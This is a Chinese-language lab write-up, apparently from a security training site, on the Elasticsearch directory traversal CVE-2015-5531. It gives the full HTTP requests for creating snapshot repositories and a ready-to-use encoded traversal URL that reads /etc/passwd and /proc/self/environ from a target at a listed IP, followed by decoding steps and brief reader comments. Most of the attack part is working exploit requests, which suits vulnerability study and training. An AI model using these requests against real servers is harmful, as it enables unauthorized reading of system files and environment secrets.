CVE-2015-5531
漏洞描述:Elasticsearch是荷兰Elasticsearch公司的一套基于Lucene构建的开源分布式RESTful搜索引擎,它主要用于云计算中,并支持通过HTTP使用JSON进行数据索引。
elasticsearch 1.5.1及以前,无需任何配置即可触发该漏洞。之后的新版,配置文件elasticsearch.yml中必须存在path.repo,该配置值为一个目录,且该目录必须可写,等于限制了备份仓库的根位置。不配置该值,默认不启动这个功能。
影响版本:elasticsearch 1.5.1及以前
参考资料:
- https://github.com/pandujar/elasticpwn/blob/master/README-CVE-2015-5531.md
- https://joker-vip.github.io/2021/07/18/ElasticSearch%20%E7%9B%AE%E5%BD%95%E7%A9%BF%E8%B6%8A%E6%BC%8F%E6%B4%9E%EF%BC%88CVE-2015-5531%EF%BC%89/
POC:
http://ip/_snapshot/test/backdata%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd
漏洞复现
- 新建仓库
PUT /_snapshot/test HTTP/1.1
Host:IP:9200
Accept: /
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 110
{
“type”: “fs”,
“settings”: {
“location”: “/usr/share/elasticsearch/repo/test”
}
}
![图片[1]-【初级】elasticsearch 目录遍历-NGC660 安全实验室](http://ngc660.cn/wp-content/uploads/2022/09/d2b5ca33bd102908-1024x557.png)
2.新建快照
PUT /_snapshot/test2 HTTP/1.1
Host: IP:9200
Accept: /
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 128
{
“type”: “fs”,
“settings”: {
“location”: “/usr/share/elasticsearch/repo/test/snapshot-backdata”
}
}
![图片[2]-【初级】elasticsearch 目录遍历-NGC660 安全实验室](http://ngc660.cn/wp-content/uploads/2022/09/d2b5ca33bd102932-1024x475.png)
- 使用POC进行读取
http://123.58.224.8:64253/_snapshot/test/backdata%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd
![图片[3]-【初级】elasticsearch 目录遍历-NGC660 安全实验室](http://ngc660.cn/wp-content/uploads/2022/09/d2b5ca33bd102954-1024x521.png)
- 返回的是ASCII码,进行解码即可
- 浏览器控制台输入
string.fromCharcode()
![图片[4]-【初级】elasticsearch 目录遍历-NGC660 安全实验室](http://ngc660.cn/wp-content/uploads/2022/09/d2b5ca33bd103011.png)
![图片[5]-【初级】elasticsearch 目录遍历-NGC660 安全实验室](http://ngc660.cn/wp-content/uploads/2022/09/d2b5ca33bd103017.png)
- 读取flag
http://123.58.224.8:64253/_snapshot/test/backdata%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fproc%2fself%2fenviron
![图片[6]-【初级】elasticsearch 目录遍历-NGC660 安全实验室](http://ngc660.cn/wp-content/uploads/2022/09/d2b5ca33bd103051.png)
昶之琴![资深玩家 徽章-资深玩家-NGC660 安全实验室](http://ngc660.cn/wp-content/themes/zibll/img/thumbnail-null.svg)
2年前0
我以为只要提交就行了好想告诉你![备受喜爱 徽章-备受喜爱-NGC660 安全实验室](http://ngc660.cn/wp-content/themes/zibll/img/thumbnail-null.svg)
2年前0
花巨资看一下